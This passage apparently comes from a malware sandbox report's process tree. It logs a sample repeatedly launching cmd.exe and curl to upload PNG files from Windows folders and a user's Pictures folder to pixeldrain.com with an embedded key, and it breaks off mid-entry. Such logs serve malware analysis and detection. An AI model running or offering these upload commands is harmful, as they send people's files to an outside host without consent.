- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@AppHelpToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
  2⤵
  PID:3204
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@AppHelpToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
    3⤵
    PID:2812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@AudioToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
  2⤵
  PID:2336
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@AudioToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
    3⤵
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@EnrollmentToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-@EnrollmentToastIcon.png-07-11-2026--13.54.45.png
  2⤵
  PID:4496
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@EnrollmentToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-@EnrollmentToastIcon.png-07-11-2026--13.54.45.png
    3⤵
    PID:4672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@VpnToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
  2⤵
  PID:2752
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@VpnToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:[email protected]
    3⤵
    PID:5980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@WirelessDisplayToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-@WirelessDisplayToast.png-07-11-2026--13.54.45.png
  2⤵
  PID:6140
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\@WirelessDisplayToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-@WirelessDisplayToast.png-07-11-2026--13.54.45.png
    3⤵
    PID:4200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\DefaultAccountTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-DefaultAccountTile.png-07-11-2026--13.54.46.png
  2⤵
  PID:1476
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\DefaultAccountTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-DefaultAccountTile.png-07-11-2026--13.54.46.png
    3⤵
    PID:5436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\SecurityAndMaintenance.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-SecurityAndMaintenance.png-07-11-2026--13.54.46.png
  2⤵
  PID:4676
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\SecurityAndMaintenance.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-SecurityAndMaintenance.png-07-11-2026--13.54.46.png
    3⤵
    PID:4884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\SecurityAndMaintenance_Alert.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-SecurityAndMaintenance_Alert.png-07-11-2026--13.54.46.png
  2⤵
  PID:4032
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\SecurityAndMaintenance_Alert.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-SecurityAndMaintenance_Alert.png-07-11-2026--13.54.46.png
    3⤵
    PID:1380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\SecurityAndMaintenance_Error.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-SecurityAndMaintenance_Error.png-07-11-2026--13.54.46.png
  2⤵
  PID:4784
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\SecurityAndMaintenance_Error.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-SecurityAndMaintenance_Error.png-07-11-2026--13.54.46.png
    3⤵
    PID:1872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Media Renderer\DMR_120.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Media Renderer-DMR_120.png-07-11-2026--13.54.47.png
  2⤵
  PID:5996
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Media Renderer\DMR_120.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Media Renderer-DMR_120.png-07-11-2026--13.54.47.png
    3⤵
    PID:4188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Media Renderer\DMR_48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Media Renderer-DMR_48.png-07-11-2026--13.54.55.png
  2⤵
  PID:4092
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Media Renderer\DMR_48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Media Renderer-DMR_48.png-07-11-2026--13.54.55.png
    3⤵
    PID:5508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color120.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Network Sharing-wmpnss_color120.png-07-11-2026--13.55.04.png
  2⤵
  PID:5752
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color120.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Network Sharing-wmpnss_color120.png-07-11-2026--13.55.04.png
    3⤵
    PID:4776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Network Sharing-wmpnss_color48.png-07-11-2026--13.55.12.png
  2⤵
  PID:5532
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files-Windows Media Player-Network Sharing-wmpnss_color48.png-07-11-2026--13.55.12.png
    3⤵
    PID:716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Windows Media Player\Media Renderer\DMR_120.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Windows Media Player-Media Renderer-DMR_120.png-07-11-2026--13.55.21.png
  2⤵
  PID:408
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Windows Media Player\Media Renderer\DMR_120.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Windows Media Player-Media Renderer-DMR_120.png-07-11-2026--13.55.21.png
    3⤵
    PID:3532
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Windows Media Player\Media Renderer\DMR_48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Windows Media Player-Media Renderer-DMR_48.png-07-11-2026--13.55.29.png
  2⤵
  PID:676
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Program Files (x86)\Windows Media Player\Media Renderer\DMR_48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Program Files (x86)-Windows Media Player-Media Renderer-DMR_48.png-07-11-2026--13.55.29.png
    3⤵
    PID:4768
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Pictures\ReceiveMerge.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Pictures-ReceiveMerge.png-07-11-2026--13.55.38.png
  2⤵
  PID:4268
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Users\Admin\Pictures\ReceiveMerge.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Users-Admin-Pictures-ReceiveMerge.png-07-11-2026--13.55.38.png
    3⤵
    PID:6104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Apps.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Apps.png-07-11-2026--13.55.39.png
  2⤵
  PID:1372
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Apps.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Apps.png-07-11-2026--13.55.39.png
    3⤵
    PID:4928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\AppsRtl.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-AppsRtl.png-07-11-2026--13.55.39.png
  2⤵
  PID:3148
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\AppsRtl.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-AppsRtl.png-07-11-2026--13.55.39.png
    3⤵
    PID:5680
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Contact.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Contact.png-07-11-2026--13.55.39.png
  2⤵
  PID:888
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Contact.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Contact.png-07-11-2026--13.55.39.png
    3⤵
    PID:2972
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\DefaultPinTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-DefaultPinTile.png-07-11-2026--13.55.39.png
  2⤵
  PID:5548
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\DefaultPinTile.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-DefaultPinTile.png-07-11-2026--13.55.39.png
    3⤵
    PID:1272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Devices.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Devices.png-07-11-2026--13.55.40.png
  2⤵
  PID:4180
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Devices.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Devices.png-07-11-2026--13.55.40.png
    3⤵
    PID:2808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\EaseOfAccess.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-EaseOfAccess.png-07-11-2026--13.55.40.png
  2⤵
  PID:2304
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\EaseOfAccess.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-EaseOfAccess.png-07-11-2026--13.55.40.png
    3⤵
    PID:3876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Extras.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Extras.png-07-11-2026--13.55.40.png
  2⤵
  PID:5928
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Extras.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Extras.png-07-11-2026--13.55.40.png
    3⤵
    PID:2300
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Gaming.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Gaming.png-07-11-2026--13.55.40.png
  2⤵
  PID:1440
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Gaming.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Gaming.png-07-11-2026--13.55.40.png
    3⤵
    PID:3516
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Globe.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Globe.png-07-11-2026--13.55.41.png
  2⤵
  PID:4900
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Globe.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Globe.png-07-11-2026--13.55.41.png
    3⤵
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Holographic.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Holographic.png-07-11-2026--13.55.41.png
  2⤵
  PID:5228
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Holographic.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Holographic.png-07-11-2026--13.55.41.png
    3⤵
    PID:4988
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Lock.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Lock.png-07-11-2026--13.55.41.png
  2⤵
  PID:1760
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Lock.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Lock.png-07-11-2026--13.55.41.png
    3⤵
    PID:1676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black.png-07-11-2026--13.55.41.png
  2⤵
  PID:4084
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black.png-07-11-2026--13.55.41.png
    3⤵
    PID:1092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-100.png-07-11-2026--13.55.42.png
  2⤵
  PID:6092
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-100.png-07-11-2026--13.55.42.png
    3⤵
    PID:2576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-125.png-07-11-2026--13.55.42.png
  2⤵
  PID:5952
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-125.png-07-11-2026--13.55.42.png
    3⤵
    PID:3596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-150.png-07-11-2026--13.55.42.png
  2⤵
  PID:2500
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-150.png-07-11-2026--13.55.42.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-200.png-07-11-2026--13.55.42.png
  2⤵
  PID:3520
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-200.png-07-11-2026--13.55.42.png
    3⤵
    PID:5692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-400.png-07-11-2026--13.55.43.png
  2⤵
  - Executes a command shell one-liner
  PID:3016
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-black_scale-400.png-07-11-2026--13.55.43.png
    3⤵
    PID:4872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white.png-07-11-2026--13.55.43.png
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white.png-07-11-2026--13.55.43.png
    3⤵
    PID:4640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-100.png-07-11-2026--13.55.43.png
  2⤵
  PID:1832
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-100.png-07-11-2026--13.55.43.png
    3⤵
    PID:4540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-125.png-07-11-2026--13.55.44.png
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1640
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-125.png-07-11-2026--13.55.44.png
    3⤵
    PID:3392
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-150.png-07-11-2026--13.55.44.png
  2⤵
  PID:472
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-150.png-07-11-2026--13.55.44.png
    3⤵
    PID:5392
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-200.png-07-11-2026--13.55.44.png
  2⤵
  PID:4508
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-200.png-07-11-2026--13.55.44.png
    3⤵
    PID:2640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-400.png-07-11-2026--13.55.44.png
  2⤵
  PID:3064
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.contrast-white_scale-400.png-07-11-2026--13.55.44.png
    3⤵
    PID:6044
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.png-07-11-2026--13.55.45.png
  2⤵
  PID:4880
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.png-07-11-2026--13.55.45.png
    3⤵
    PID:5072
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-100.png-07-11-2026--13.55.45.png
  2⤵
  PID:1980
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-100.png-07-11-2026--13.55.45.png
    3⤵
    PID:2288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-125.png-07-11-2026--13.55.45.png
  2⤵
  PID:1052
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-125.png-07-11-2026--13.55.45.png
    3⤵
    PID:1616
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.scale-150.png-07-11-2026--13.55.46.png
  2⤵
  PID:2176
- - C:\Windows\SysWOW64\curl.exe
